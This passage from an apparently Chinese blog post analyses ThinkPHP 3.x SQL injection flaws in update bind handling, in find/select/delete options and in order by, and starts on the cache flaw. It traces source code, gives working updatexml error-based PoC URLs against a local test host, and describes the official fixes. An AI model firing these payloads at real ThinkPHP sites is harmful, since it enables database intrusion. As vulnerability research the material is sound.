实现</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//ThinkPHP/Library/Think/Model.class.php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Model</span> </span>{<br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$options</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">save</span>(<span class="hljs-params"><span class="hljs-variable">$data</span>=<span class="hljs-string">''</span>,<span class="hljs-variable">$options</span>=<span class="hljs-keyword">array</span>(<span class="hljs-params"></span>)</span>) </span>{<br> ……<br> <span class="hljs-comment">//底层由数据库Driver类update()实现</span><br> <span class="hljs-variable">$result</span> = <span class="hljs-keyword">$this</span>->db->update(<span class="hljs-variable">$data</span>,<span class="hljs-variable">$options</span>);<br>……<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$result</span>;<br> }<br>}<br></code></pre></td></tr></table></figure><blockquote><p>ThinkPHP/Library/Think/Db/Driver.class.php</p></blockquote><p>把重点放到底层update()的实现上:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//ThinkPHP/Library/Think/Db/Driver.class.php</span><br><span class="hljs-keyword">abstract</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Driver</span> </span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">update</span>(<span class="hljs-params"><span class="hljs-variable">$data</span>,<span class="hljs-variable">$options</span></span>) </span>{<br> <span class="hljs-variable">$table</span> = <span class="hljs-keyword">$this</span>->parseTable(<span class="hljs-variable">$options</span>[<span class="hljs-string">'table'</span>]);<br> <span class="hljs-comment">// 此时sql语句构造为 UPDATE xxx set yyy </span><br> <span class="hljs-variable">$sql</span> = <span class="hljs-string">'UPDATE '</span> . <span class="hljs-variable">$table</span> . <span class="hljs-keyword">$this</span>->parseSet(<span class="hljs-variable">$data</span>);<br><span class="hljs-comment">//解析where字段</span><br> <span class="hljs-variable">$sql</span> .= <span class="hljs-keyword">$this</span>->parseWhere(!<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$options</span>[<span class="hljs-string">'where'</span>])?<span class="hljs-variable">$options</span>[<span class="hljs-string">'where'</span>]:<span class="hljs-string">''</span>);<br> ……<br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->execute(<span class="hljs-variable">$sql</span>,!<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$options</span>[<span class="hljs-string">'fetch_sql'</span>]) ? <span class="hljs-literal">true</span> : <span class="hljs-literal">false</span>);<br> }<br>}<br></code></pre></td></tr></table></figure><ul><li>首先 <code>$data</code> 由<strong>parseSet()<strong>解析为set字段,</strong>parseSet()</strong> 就不细看了,==该方法解析的set字段的将会用<strong>命名(:name)</strong>形式的占位标记符,其中占位标记符的值已经放在了bind数组中==,可以看出tp想做预编译的操作了</li></ul><img src="img/ThinkPHP3.x 漏洞总结/image-20210728160437576.png" alt="image-20210728160437576" style="zoom:50%;" /><ul><li><p>然后就进入where字段的解析,解析方法为 <code>parseWhere()</code></p><ul><li><p><code>parseWhere()</code> 也不进入细看了,就是数组参数最终会交给 <code>parseWhereItem()</code> 解析</p></li><li><p><code>parseWhereItem()</code>前面已有分析,这里也不再仔细分析了,当注入的<code>$exp</code>(代表运算符)等于bind时,传入的参数不会被过滤,而是在where字段中添加” =: “符号,本漏洞的关键点在于如何去消除这个” : “符号的影响</p><p>如下图,==where字段的数据奇怪的加入了这个预编译,明显where字段的值没有加入bind数组,这里也很关键,因为后面bind数组会被过滤==</p></li></ul></li></ul><img src="img/ThinkPHP3.x 漏洞总结/image-20210728160553076.png" alt="image-20210728160553076" style="zoom:50%;" /><ul><li><code>$sql</code> 为最终解析完成的sql语句,交于 <code>execute()</code> 执行</li></ul><hr><p>跟踪 execute() 方法:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//ThinkPHP/Library/Think/Db/Driver.class.php</span><br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">execute</span>(<span class="hljs-params"><span class="hljs-variable">$str</span>,<span class="hljs-variable">$fetchSql</span>=<span class="hljs-literal">false</span></span>) </span>{<br> <span class="hljs-keyword">$this</span>->queryStr = <span class="hljs-variable">$str</span>;<br> <span class="hljs-keyword">if</span>(!<span class="hljs-keyword">empty</span>(<span class="hljs-keyword">$this</span>->bind)){<br> <span class="hljs-variable">$that</span> = <span class="hljs-keyword">$this</span>;<br> <span class="hljs-keyword">$this</span>->queryStr = strtr(<span class="hljs-keyword">$this</span>->queryStr,array_map(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"><span class="hljs-variable">$val</span></span>) <span class="hljs-keyword">use</span>(<span class="hljs-params"><span class="hljs-variable">$that</span></span>)</span>{ <span class="hljs-keyword">return</span> <span class="hljs-string">'\''</span>.<span class="hljs-variable">$that</span>->escapeString(<span class="hljs-variable">$val</span>).<span class="hljs-string">'\''</span>; },<span class="hljs-keyword">$this</span>->bind));<br> }<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$fetchSql</span>){<br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->queryStr;<br> }<br> <span class="hljs-keyword">foreach</span> (<span class="hljs-keyword">$this</span>->bind <span class="hljs-keyword">as</span> <span class="hljs-variable">$key</span> => <span class="hljs-variable">$val</span>) {<br> <span class="hljs-keyword">$this</span>->PDOStatement->bindValue(<span class="hljs-variable">$key</span>, <span class="hljs-variable">$val</span>);<br> }<br> <span class="hljs-variable">$result</span> = <span class="hljs-keyword">$this</span>->PDOStatement->execute();<br></code></pre></td></tr></table></figure><ul><li><code>$str</code> 即为要执行的sql语句</li><li>重点关注 <code>$this->queryStr</code> 的处理,这里会执行两个函数,一个 <code>strst()</code> 字符串替换函数,一个使用<code>array_map()</code>调用的匿名函数<ul><li>匿名函数就是调用 <code>escapeString()</code> 过滤<strong>bind</strong>数组,前面知道 ==bind 数组只有set字段的值,where字段的值还是没有被过滤==</li><li><code>strst()</code> 将会把占位标记符转换为 bind 数组中对应的值,如:$bind=[‘:0’=>’111’,’:1’=>’222’],那么sql语句中**’:0’<strong>字符会被替换为</strong>‘111’<strong>,</strong>‘:1’<strong>被替换为</strong>‘222’**。==利用的关键点来了,我们把where语句最终控制为”:0”,那么替换时”:”将被消除,从而消除了<code>:</code>对注入语句的影响==</li></ul></li></ul><img src="img/ThinkPHP3.x 漏洞总结/image-20210728163326968.png" alt="image-20210728163326968" style="zoom:50%;" /><ul><li><code>$this->queryStr</code> 语句处理好后,再通过预编译执行该语句,可惜其中的占位标记符已经被替换了,在预处理前就已经发生了注入,漏洞产生</li></ul><h3 id="验证漏洞"><a href="#验证漏洞" class="headerlink" title="验证漏洞"></a>验证漏洞</h3><p>poc如下,传入的name为数组,name[0]=bind目的是进入bind的逻辑,name[1]为payload数据,其中第一位字符要为0</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">http</span>://tp.test:<span class="hljs-number">8888</span>/index.php/home/index/test?name[<span class="hljs-number">0</span>]=bind&name[<span class="hljs-number">1</span>]=<span class="hljs-number">0</span> and (updatexml(<span class="hljs-number">1</span>,concat(<span class="hljs-number">0</span>x<span class="hljs-number">7</span>e,(select user()),<span class="hljs-number">0</span>x<span class="hljs-number">7</span>e),<span class="hljs-number">1</span>))--+<br></code></pre></td></tr></table></figure><p>实际执行的sql语句</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql">UPDATE `think_user` <span class="hljs-keyword">SET</span> `job`<span class="hljs-operator">=</span><span class="hljs-string">'111'</span> <span class="hljs-keyword">WHERE</span> `username` <span class="hljs-operator">=</span> <span class="hljs-string">'111'</span> <span class="hljs-keyword">and</span> (updatexml(<span class="hljs-number">1</span>,concat(<span class="hljs-number">0x7e</span>,(<span class="hljs-keyword">select</span> <span class="hljs-keyword">user</span>()),<span class="hljs-number">0x7e</span>),<span class="hljs-number">1</span>))<span class="hljs-comment">--</span><br></code></pre></td></tr></table></figure><p>验证图:</p><img src="img/ThinkPHP3.x 漏洞总结/image-20210728164652838.png" alt="image-20210728164652838" style="zoom: 33%;" /><h3 id="官方修复"><a href="#官方修复" class="headerlink" title="官方修复"></a>官方修复</h3><p>前面提到利用<strong>I方法</strong>获取输入时并没有过滤BIND,导致我们可以进入BIND的逻辑,从而使得我们的数组参数从头到尾都没有被过滤。官方便在这一点上做了过滤。所以该漏洞在ThinkPHP<=3.2.3都是存在的</p><p>注意:如果没有使用<strong>I方法</strong>接收外部数据,那么下面的修复就没有意义了,这漏洞照样使用</p><img src="img/ThinkPHP3.x 漏洞总结/image-20210730161446223.png" alt="image-20210730161446223" style="zoom:50%;" /><h2 id="select-amp-delete-注入漏洞"><a href="#select-amp-delete-注入漏洞" class="headerlink" title="select&delete 注入漏洞"></a>select&delete 注入漏洞</h2><p>这其实是ThinkPHP的一个隐藏用法,在前面提到,ThinkPHP使用where(),field()等方法获取获取sql语句的各个部分,然后存放到当前模型对象的 <code>$this->options</code> 属性数组中,最后在使用 select() 这些方法从 <code>$this->options</code> 数组中解析出对应的sql语句执行</p><p>但在阅读代码过程中发现find(),select(),delete()本身可以接收 <code>$options</code> 数组参数,覆盖掉 <code>$this->options</code> 的值。不过这种用法官方文档并没有提及,想要遇到这中情况可能还需要开发者们配合,下面看看这个漏洞是怎么产生的,这里分析find()方法</p><h3 id="代码分析"><a href="#代码分析" class="headerlink" title="代码分析"></a>代码分析</h3><blockquote><p>ThinkPHP/Library/Think/Model.class.php</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Model</span> </span>{<br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$options</span> = <span class="hljs-keyword">array</span>();<br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">find</span>(<span class="hljs-params"><span class="hljs-variable">$options</span>=<span class="hljs-keyword">array</span>(<span class="hljs-params"></span>)</span>) </span>{<br> <span class="hljs-keyword">if</span>(is_numeric(<span class="hljs-variable">$options</span>) || is_string(<span class="hljs-variable">$options</span>)) {<span class="hljs-comment">//$options不为数组的情况</span><br> <span class="hljs-variable">$where</span>[<span class="hljs-keyword">$this</span>->getPk()] = <span class="hljs-variable">$options</span>;<br> <span class="hljs-variable">$options</span> = <span class="hljs-keyword">array</span>();<br> <span class="hljs-variable">$options</span>[<span class="hljs-string">'where'</span>] = <span class="hljs-variable">$where</span>;<br> }<br> <span class="hljs-comment">// 根据复合主键查找记录</span><br> <span class="hljs-variable">$pk</span> = <span class="hljs-keyword">$this</span>->getPk();<br> <span class="hljs-keyword">if</span> (is_array(<span class="hljs-variable">$options</span>) && (count(<span class="hljs-variable">$options</span>) > <span class="hljs-number">0</span>) && is_array(<span class="hljs-variable">$pk</span>)) {<span class="hljs-comment">//$options为数组且主键也为数组的情况</span><br> <span class="hljs-comment">// 根据复合主键查询</span><br> ……<br> }<br> <span class="hljs-comment">// 总是查找一条记录</span><br> <span class="hljs-variable">$options</span>[<span class="hljs-string">'limit'</span>] = <span class="hljs-number">1</span>;<br> <span class="hljs-comment">// 分析表达式</span><br> <span class="hljs-variable">$options</span> = <span class="hljs-keyword">$this</span>->_parseOptions(<span class="hljs-variable">$options</span>);<br> ……<br> <span class="hljs-variable">$resultSet</span> = <span class="hljs-keyword">$this</span>->db->select(<span class="hljs-variable">$options</span>);<span class="hljs-comment">//底层查询的语句</span><br></code></pre></td></tr></table></figure><ul><li><code>find()</code> 可以接收外部参数 <code>$options</code>,官方文档没有提及这个用法</li><li><code>getPk()</code> 获取当前的主键,默认为’id’</li><li><code>$options</code> 为数字类型或字符串类型时,<code>$where['id']=$options,$options['where']=$where</code>,该处只可以控制部分where字段的值,利用比较苛刻</li><li><code>$options</code> 为数组类型时,且主键 <code>$pk</code> 也为数组类型时,将会进入复合主键查询。但一般默认主键 <code>$pk=id</code>,不为数组</li><li><code>$options</code> 最终由 <code>_parseOptions()</code> 获取。跟踪 <code>_parseOptions()</code> 方法,可以看到最终 <code>$options</code> 将由**find()<strong>方法传入的<code>$options</code> 和</strong>where()**等方法传入的<code>$this->options</code>合并完成,注意<code>array_merge()</code>第二个参数是会覆盖第一个参数的值的,所以如果<code>find()</code>方法传入的<code>$options</code> 可控,那么整个sql语句也可控</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//ThinkPHP/Library/Think/Model.class.php</span><br><span class="hljs-keyword">protected</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_parseOptions</span>(<span class="hljs-params"><span class="hljs-variable">$options</span>=<span class="hljs-keyword">array</span>(<span class="hljs-params"></span>)</span>) </span>{<br><span class="hljs-keyword">if</span>(is_array(<span class="hljs-variable">$options</span>))<br><span class="hljs-variable">$options</span> = array_merge(<span class="hljs-keyword">$this</span>->options,<span class="hljs-variable">$options</span>);<br> ……<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$options</span>;<br></code></pre></td></tr></table></figure><p>现在sql语句可控了,能想到的是在数据库底层类中的parsewhere()方法解析where字段时,对字符串参数不会过滤,由下面代码,需要控制<code>$options['where']</code>为字符串类型即可</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//ThinkPHP/Library/Think/Db/Driver.class.php</span><br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">parseSql</span>(<span class="hljs-params"><span class="hljs-variable">$sql</span>,<span class="hljs-variable">$options</span>=<span class="hljs-keyword">array</span>(<span class="hljs-params"></span>)</span>)</span>{<br> <span class="hljs-comment">// parseWhere()接收的是$options['where']</span><br><span class="hljs-keyword">$this</span>->parseWhere(!<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$options</span>[<span class="hljs-string">'where'</span>])?<span class="hljs-variable">$options</span>[<span class="hljs-string">'where'</span>]:<span class="hljs-string">''</span>)<br> ……<br> <br><span class="hljs-keyword">protected</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">parseWhere</span>(<span class="hljs-params"><span class="hljs-variable">$where</span></span>) </span>{<br> <span class="hljs-variable">$whereStr</span> = <span class="hljs-string">''</span>;<br> <span class="hljs-keyword">if</span>(is_string(<span class="hljs-variable">$where</span>)) {<br> <span class="hljs-comment">// 直接使用字符串条件</span><br> <span class="hljs-variable">$whereStr</span> = <span class="hljs-variable">$where</span>;<br> ……<br></code></pre></td></tr></table></figure><h3 id="场景构造"><a href="#场景构造" class="headerlink" title="场景构造"></a>场景构造</h3><p>构造一个<code>find()</code>方法接收外部参数,这种写法可能存在漏洞</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-variable">$id</span> = I(<span class="hljs-string">'GET.id'</span>);<br> <span class="hljs-variable">$User</span> = M(<span class="hljs-string">"user"</span>); <span class="hljs-comment">// 实例化User对象</span><br> <span class="hljs-variable">$res</span> = <span class="hljs-variable">$User</span>->find(<span class="hljs-variable">$id</span>);<br>}<br></code></pre></td></tr></table></figure><h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>poc如下,要传入id[‘where’]数组</p><figure class="highlight asciidoc"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs asciidoc"><span class="hljs-link">http://tp.test:8888/home/index/test?id</span>[<span class="hljs-string">where</span>]=(1=1) and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+<br></code></pre></td></tr></table></figure><p>实际执行的sql语句为</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">SELECT</span> <span class="hljs-operator">*</span> <span class="hljs-keyword">FROM</span> `think_user` <span class="hljs-keyword">WHERE</span> (<span class="hljs-number">1</span><span class="hljs-operator">=</span><span class="hljs-number">1</span>) <span class="hljs-keyword">and</span> (updatexml(<span class="hljs-number">1</span>,concat(<span class="hljs-number">0x7e</span>,(<span class="hljs-keyword">select</span> <span class="hljs-keyword">user</span>()),<span class="hljs-number">0x7e</span>),<span class="hljs-number">1</span>))<span class="hljs-comment">-- LIMIT 1</span><br></code></pre></td></tr></table></figure><h3 id="官方修复-1"><a href="#官方修复-1" class="headerlink" title="官方修复"></a>官方修复</h3><p>官方在修复上就是在 <code>_parseOptions()</code> 处忽略了外部传入的 <code>$options</code>,这样我们传入的数据只能用于主键查询,而主键查询最终会转换为数组格式,数组格式数据在后面也会被过滤,那么这个漏洞就不存在了</p><img src="img/ThinkPHP3.x 漏洞总结/image-20210729120607836.png" alt="image-20210729120607836" style="zoom:50%;" /><p>Model.class.php 类中 delete(), select() 方法具有相同问题,也在ThinkPHP3.2.4中被修复</p><h3 id="小结-1"><a href="#小结-1" class="headerlink" title="小结"></a>小结</h3><p>可以看到ThinkPHP在处理sql查询时分的很细,做出了一个可控的主键查询这个功能,让用户可以控制主键查询的值,但始终保存主键查询的数据为数组形式可以被过滤,就保证了数据的安全性,但却忽略了一些意外的情况,导致sql注入。这个漏洞同样是需要很对ThinkPHP底层逻辑十分清楚</p><h2 id="order-by-注入漏洞"><a href="#order-by-注入漏洞" class="headerlink" title="order by 注入漏洞"></a>order by 注入漏洞</h2><h3 id="代码分析-1"><a href="#代码分析-1" class="headerlink" title="代码分析"></a>代码分析</h3><p>ThinkPHP的模型基类Model并没有直接提供order的方法,而是用 <code>__call()</code> 魔术方法来获取一些特殊方法的参数,代码如下:</p><blockquote><p>ThinkPHP/Library/Think/Model.class.php</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Model</span> </span>{<br> <span class="hljs-comment">// 查询表达式参数</span><br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$options</span> = <span class="hljs-keyword">array</span>();<br> <span class="hljs-comment">// 链操作方法列表</span><br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$methods</span> = <span class="hljs-keyword">array</span>(<span class="hljs-string">'strict'</span>,<span class="hljs-string">'order'</span>,<span class="hljs-string">'alias'</span>,<span class="hljs-string">'having'</span>,<span class="hljs-string">'group'</span>,……);<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__call</span>(<span class="hljs-params"><span class="hljs-variable">$method</span>,<span class="hljs-variable">$args</span></span>) </span>{<br> <span class="hljs-keyword">if</span>(in_array(strtolower(<span class="hljs-variable">$method</span>),<span class="hljs-keyword">$this</span>->methods,<span class="hljs-literal">true</span>)) {<br> <span class="hljs-comment">// 连贯操作的实现</span><br> <span class="hljs-keyword">$this</span>->options[strtolower(<span class="hljs-variable">$method</span>)] = <span class="hljs-variable">$args</span>[<span class="hljs-number">0</span>];<br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>;<br> }<br> ……<br> }<br>}<br></code></pre></td></tr></table></figure><p>当调用模型对象的 order() 方法时,因为模型对象不具有order()便触发了 <code>__call()</code> 方法,在 <code>__call()</code> 方法中,传入order()方法的第一个参数 $arg[0] 将赋值给 <code>$this->options['order']</code></p><p>最终 options[‘order’] 将由给 parseOrder() 解析</p><blockquote><p>ThinkPHP/Library/Think/Db/Driver.class.php</p></blockquote><p>在 Thinkphp3.2.3 中 parseOrder() 实现的十分简单</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">abstract</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Driver</span> </span>{<br><span class="hljs-keyword">protected</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">parseOrder</span>(<span class="hljs-params"><span class="hljs-variable">$order</span></span>) </span>{<br> <span class="hljs-keyword">if</span>(is_array(<span class="hljs-variable">$order</span>)) {<br> <span class="hljs-variable">$array</span> = <span class="hljs-keyword">array</span>();<br> <span class="hljs-keyword">foreach</span> (<span class="hljs-variable">$order</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$key</span>=><span class="hljs-variable">$val</span>){<br> <span class="hljs-keyword">if</span>(is_numeric(<span class="hljs-variable">$key</span>)) {<br> <span class="hljs-variable">$array</span>[] = <span class="hljs-keyword">$this</span>->parseKey(<span class="hljs-variable">$val</span>);<br> }<span class="hljs-keyword">else</span>{<br> <span class="hljs-variable">$array</span>[] = <span class="hljs-keyword">$this</span>->parseKey(<span class="hljs-variable">$key</span>).<span class="hljs-string">' '</span>.<span class="hljs-variable">$val</span>;<br> }<br> }<br> <span class="hljs-variable">$order</span> = implode(<span class="hljs-string">','</span>,<span class="hljs-variable">$array</span>);<br> }<br> <span class="hljs-keyword">return</span> !<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$order</span>)? <span class="hljs-string">' ORDER BY '</span>.<span class="hljs-variable">$order</span>:<span class="hljs-string">''</span>;<br> }<br></code></pre></td></tr></table></figure><ul><li>parseOrder()的参数 <code>$order</code> 来自 <code>$options['order']</code></li><li>过程对 <code>$order</code> 没有任何过滤,可以任意注入。。。</li></ul><h3 id="场景构造-1"><a href="#场景构造-1" class="headerlink" title="场景构造"></a>场景构造</h3><p>构造一个order参数可控的场景,不过似乎很少有程序会把查询排序的参数交给用户</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test</span>(<span class="hljs-params"></span>)</span>{<br><span class="hljs-variable">$order</span> = I(<span class="hljs-string">'GET.order'</span>);<br> <span class="hljs-variable">$User</span> = M(<span class="hljs-string">"user"</span>); <span class="hljs-comment">// 实例化User对象</span><br><span class="hljs-variable">$res</span> = <span class="hljs-variable">$User</span>->order(<span class="hljs-variable">$order</span>)->find();<br>}<br></code></pre></td></tr></table></figure><h3 id="漏洞利用-1"><a href="#漏洞利用-1" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>poc:</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">http</span>://tp.test:<span class="hljs-number">8888</span>/home/index/test?order=updatexml(<span class="hljs-number">1</span>,concat(<span class="hljs-number">0</span>x<span class="hljs-number">7</span>e,(select%<span class="hljs-number">20</span>user()),<span class="hljs-number">0</span>x<span class="hljs-number">7</span>e),<span class="hljs-number">1</span>)<br></code></pre></td></tr></table></figure><p>实际执行sql语句</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">SELECT</span> <span class="hljs-operator">*</span> <span class="hljs-keyword">FROM</span> `think_user` <span class="hljs-keyword">ORDER</span> <span class="hljs-keyword">BY</span> updatexml(<span class="hljs-number">1</span>,concat(<span class="hljs-number">0x7e</span>,(<span class="hljs-keyword">select</span> <span class="hljs-keyword">user</span>()),<span class="hljs-number">0x7e</span>),<span class="hljs-number">1</span>)<br></code></pre></td></tr></table></figure><h3 id="系统修复"><a href="#系统修复" class="headerlink" title="系统修复"></a>系统修复</h3><p>在看系统修复代码时发现,ThinkPHP3.2.4主要采用了判断输入中是否有括号的方式过滤,在ThinkPHP3.2.5中则用正则表达式过滤特殊符号。另外该在 ThinkPHP<=5.1.22 版本也存在这样的漏洞,利用方式有一些不同</p><p>在复现该漏洞时发现其他博主的代码和我的不一样,我这里以官网下载的代码为准</p><h2 id="缓存漏洞"><a href="#缓存漏洞" class="headerlink" title="缓存漏洞"></a>缓存漏洞</h2><p>ThinkPHP 中提供了一个数据缓存的功能,对应<strong>S方法</strong>快捷方法,可以先将一些数据保存在文件中,再次访问该数据时直接访问缓存文件即可</p><h3 id="缓存文件示例"><a href="#缓存文件示例" class="headerlink" title="缓存文件示例"></a>缓存文件示例</h3><p>按照缓存初始化时候的参数进行缓存数据</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-variable">$name</span> = I(<span class="hljs-string">'GET.name'</span>);<br> S(<span class="hljs-string">'name'</span>,<span class="hljs-variable">$name</span>);<br>}<br></code></pre></td></tr></table></figure><p>下次在读取该值时通过缓存文件可以更快获取</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">cache</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-variable">$value</span> = S(<span class="hljs-string">'name'</span>);<br> <span class="hljs-keyword">echo</span> <span class="hljs-variable">$value</span>;<br>}<br></code></pre></td></tr></table></figure><p>先访问test(),生成缓存数据</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs awk">http:<span class="hljs-regexp">//</span>tp.test:<span class="hljs-number">8888</span><span class="hljs-regexp">/home/i</span>ndex/test?name=jelly<br></code></pre></td></tr></table></figure><p>发现生成文件:Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php</p><img src="img/ThinkPHP3.x 漏洞总结/image-20210729173556871.png" alt="image-20210729173556871" style="zoom:50%;" /><p>然后访问cache(),获取缓存数据</p><img src="img/ThinkPHP3.x 漏洞总结/image-20210729173745860.png" alt="image-20210729173745860" style="zoom:50%;" /><p>上面就是缓存文件生成和使用的过程</p><h3 id="代码分析-2"><a href="#代码分析-2" class="headerlink" title="代码分析"></a>代码分析</h3><p>具体分析一下 S 方法的代码是怎么产生漏洞的:</p><blockquote><p>ThinkPHP/Common/functions.php</p></blockquote><p>S方法会实例化一个$cache对象,$cache对象具有查看缓存,删除缓存和写缓存的动能,这里我们只关注写缓存的 set() 方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span 